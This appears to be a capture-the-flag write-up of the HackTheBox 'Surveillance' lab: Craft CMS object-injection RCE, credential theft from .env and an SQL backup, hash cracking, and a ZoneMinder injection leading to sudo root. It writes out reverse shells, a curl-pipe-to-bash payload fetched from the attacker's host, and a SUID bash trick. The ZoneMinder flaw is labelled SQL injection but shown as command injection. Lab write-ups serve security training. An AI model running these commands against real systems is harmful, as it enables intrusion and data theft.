Post

HackTheBox Surveillance

Writeup for HackTheBox Surveillance

HackTheBox Surveillance

Machine Synopsis

Key exploitation techniques:

  • Craft CMS PHP Object Injection (CVE-2023-41892)
  • Information disclosure via .env and database backup (plaintext credentials, hashed passwords)
  • Hash cracking (SHA-256)
  • ZoneMinder Authenticated Remote Code Injection (HostController.php API)
  • sudo command injection via zm*.pl scripts
  • SUID binary creation for root access

Enumeration

1
2
3
4
5
6
7
8
9
10
11
$ nmap -sC -sV 10.10.11.245

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan identified SSH and Nginx on port 80.

website

feroxbuster was used for directory enumeration, revealing an /admin endpoint that redirected to /admin/login.

1
2
3
4
$ feroxbuster -u http://surveillance.htb -q --filter-status 404,503
...
302      GET        0l       0w        0c http://surveillance.htb/admin => http://surveillance.htb/admin/login
...

login_webpage

The source code of the index page revealed the CMS version: Powered by Craft CMS.

1
2
3
4
5
6
7
8
9
<!-- footer section -->
<section class="footer_section">
    <div class="container">
        <p>
            &copy; <span id="displayYear"></span> All Rights Reserved By
            SURVEILLANCE.HTB</a><br> <b>Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14"/>Craft CMS</a></b>
        </p>
    </div>
</section>

The version was identified as Craft CMS 4.4.14.

Exploitation

Craft CMS RCE (www-data) via CVE-2023-41892

Researching “CraftCMS 4.4.14 exploit” led to CVE-2023-41892, a PHP object injection vulnerability. A public exploit script from GitHub was used to gain Remote Code Execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 craft-cms.py http://surveillance.htb
[+] Executing phpinfo to extract some config infos
temporary directory: /tmp
web server root: /var/www/html/craft/web
[+] create shell.php in /tmp
[+] trick imagick to move shell.php in /var/www/html/craft/web
[+] Webshell is deployed: http://surveillance.htb/shell.php?cmd=whoami
[+] Remember to delete shell.php in /var/www/html/craft/web when you're done
[!] Enjoy your shell
> whoami
www-data
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

A reverse shell was then established from the webshell.

1
2
3
4
5
6
7
8
9
10
11
12
# On attacker, set up Netcat listener
$ nc -nlvp 9999
listening on [any] 9999 ...

# On webshell, execute payload
> rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 9999 >/tmp/f

# Reverse shell received
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.245] 45450
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web$

Initial enumeration revealed matthew and zoneminder users in /home. The .env file within the Craft CMS directory was found, containing database credentials.

1
2
3
4
5
6
7
8
9
10
11
www-data@surveillance:~/html/craft$ cat .env
# ...
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
# ...

A database backup file surveillance--2023-10-17-202801--v4.4.14.sql.zip was discovered in ~/html/craft/storage/backups. This file was copied to the web root for easy download.

1
2
3
4
5
6
www-data@surveillance:~/html/craft/web$ cp /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip .
www-data@surveillance:~/html/craft/web$ ls
cpresources
...
surveillance--2023-10-17-202801--v4.4.14.sql.zip
...

The backup was downloaded and unzipped. The SQL dump contained a user hash.

1
2
3
4
5
6
7
8
9
10
$ wget http://surveillance.htb/surveillance--2023-10-17-202801--v4.4.14.sql.zip
$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
$ cat surveillance--2023-10-17-202801--v4.4.14.sql
-- MariaDB dump 10.19  Distrib 10.6.12-MariaDB, for debian-linux-gnu (x86_64)
--
...
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
...

hash-identifier identified the hash 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec as SHA-256. hashcat (mode 1400) was used to crack it with rockyou.txt.

1
2
3
4
5
6
7
8
9
10
$ hash-identifier 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
...
Possible Hashs:
[+] SHA-256
[+] Haval-256

$ hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
...
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490
...

The password starcraft122490 was cracked. SSH access was gained as matthew.

1
2
3
$ ssh matthew@surveillance.htb
matthew@surveillance.htb's password: starcraft122490
matthew@surveillance:~$ 

Privilege Escalation

ZoneMinder Authenticated RCE (zoneminder)

Further enumeration on the system revealed a database.php file for ZoneMinder, containing database credentials zmuser:ZoneMinderPassword2023.

1
2
3
4
5
6
7
8
9
10
11
12
matthew@surveillance:/usr/share/zoneminder/www/api/app/Config$ cat database.php
...
	public $test = array(
		'datasource' => 'Database/Mysql',
		'persistent' => false,
		'host' => 'localhost',
		'login' => 'zmuser',
		'password' => 'ZoneMinderPassword2023',
		'database' => 'zm',
		'prefix' => '',
	);
...

These credentials allowed mysql login to the zm database. However, the Users table did not contain useful plaintext passwords.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
matthew@surveillance:/usr/share/zoneminder/www/api/app/Config$ mysql -u zmuser -p
Enter password: ZoneMinderPassword2023
...
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| zm                 |
+--------------------+
MariaDB [(none)]> use zm
Database changed
MariaDB [zm]> show tables;
+-----------------+
| Tables_in_zm    |
+-----------------+
| Config          |
| ControlPresets  |
| Controls        |
| Devices         |
| Event_Summaries |
| Events          |
| Events_Archived |
| Events_Day      |
| Events_Hour     |
| Events_Month    |
| Events_Week     |
| Filters         |
| Frames          |
| Groups          |
| Groups_Monitors |
| Logs            |
| Manufacturers   |
| Maps            |
| Models          |
| MonitorPresets  |
| Monitor_Status  |
| Monitors        |
| MontageLayouts  |
| Servers         |
| Sessions        |
| Snapshot_Events |
| Snapshots       |
| States          |
| Stats           |
| Storage         |
| TriggersX10     |
| Users           |
| ZonePresets     |
| Zones           |
+-----------------+
MariaDB [zm]> select * from Users;
|  1 | admin    | $2y$10$BuFy0QTupRjSWW6kEAlBCO6AlZ8ZPGDI8Xba5pi/gLr2ap86dxYd.|

netstat -tnlp showed a service listening on 127.0.0.1:8080. An SSH local port forward was set up to access this service.

1
2
3
$ ssh matthew@surveillance.htb -L 8888:localhost:8080
matthew@surveillance.htb's password: starcraft122490
matthew@surveillance:~$

Browsing to http://localhost:8888 revealed the ZoneMinder web interface. The credentials admin:starcraft122490 (the password cracked earlier for matthew’s admin account in Craft CMS) successfully logged into ZoneMinder.

localhost_website

The credentials matthew:starcraft122490 does not work but admin:starcraft122490 works.

zoneminder_dashboard

ZoneMinder is known to be vulnerable to authenticated sql injection, specifically in the HostController.php API endpoint (as indicated by a GitHub advisory). The exploit involves intercepting a login request in Burp Suite and modifying parameters to inject a command.

The __csrf_magic token was captured from the login page. The malicious request was crafted with a reverse shell payload.

data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"

intercept_login_request

view=snapshot&action=create&monitor_ids[0][Id]=;curl+http%3a//10.10.14.5/shell|bash&__csrf_magic=key%3Af8dc3b7201112c84059d7ccd226d549fa01a6173%2C1719736107

A simple bash reverse shell payload was created and served via an HTTP server.

1
2
3
4
5
6
7
# Create shell payload
$ cat shell
bash -i >& /dev/tcp/10.10.14.5/9999 0>&1

# Serve payload
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

intercept_login_request_edit

A netcat listener was set up, and the modified request was forwarded in Burp Suite.

1
2
3
4
5
6
nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.245] 37204
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ 

This granted a reverse shell as the zoneminder user.

sudo Command Injection (Root)

sudo -l as zoneminder revealed specific sudo privileges.

1
2
3
4
5
6
7
8
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

The zoneminder user could execute any Perl script starting with zm and ending with .pl in /usr/bin/ as root without a password. Listing these scripts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zoneminder@surveillance:/usr/share/zoneminder/www$ ls /usr/bin/zm*.pl
/usr/bin/zmaudit.pl
/usr/bin/zmcamtool.pl
/usr/bin/zmcontrol.pl
/usr/bin/zmdc.pl
/usr/bin/zmfilter.pl
/usr/bin/zmonvif-probe.pl
/usr/bin/zmonvif-trigger.pl
/usr/bin/zmpkg.pl
/usr/bin/zmrecover.pl
/usr/bin/zmstats.pl
/usr/bin/zmsystemctl.pl
/usr/bin/zmtelemetry.pl
/usr/bin/zmtrack.pl
/usr/bin/zmtrigger.pl
/usr/bin/zmupdate.pl
/usr/bin/zmvideo.pl
/usr/bin/zmwatch.pl
/usr/bin/zmx10.pl

The zmupdate.pl script was chosen for command injection. The $(command) syntax allows command substitution within the script’s arguments, which are then executed by sudo.

First, a temporary file was created to confirm command execution as root.

1
2
3
4
5
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(touch /tmp/owo)'
zoneminder@surveillance:/usr/share/zoneminder/www$ ls -la /tmp
...
-rw-r--r--  1 root     root        0 Jun 30 08:54 owo
...

Next, bash was copied to /tmp and its SUID bit was set, allowing it to run with root privileges.

1
2
3
4
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(cp /bin/bash /tmp)'
...
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(chmod u+s /tmp/bash)'
...

Finally, the SUID bash binary was executed to gain a root shell.

1
2
3
zoneminder@surveillance:/usr/share/zoneminder/www$ /tmp/bash -p
whoami
root
This post is licensed under CC BY 4.0 by the author.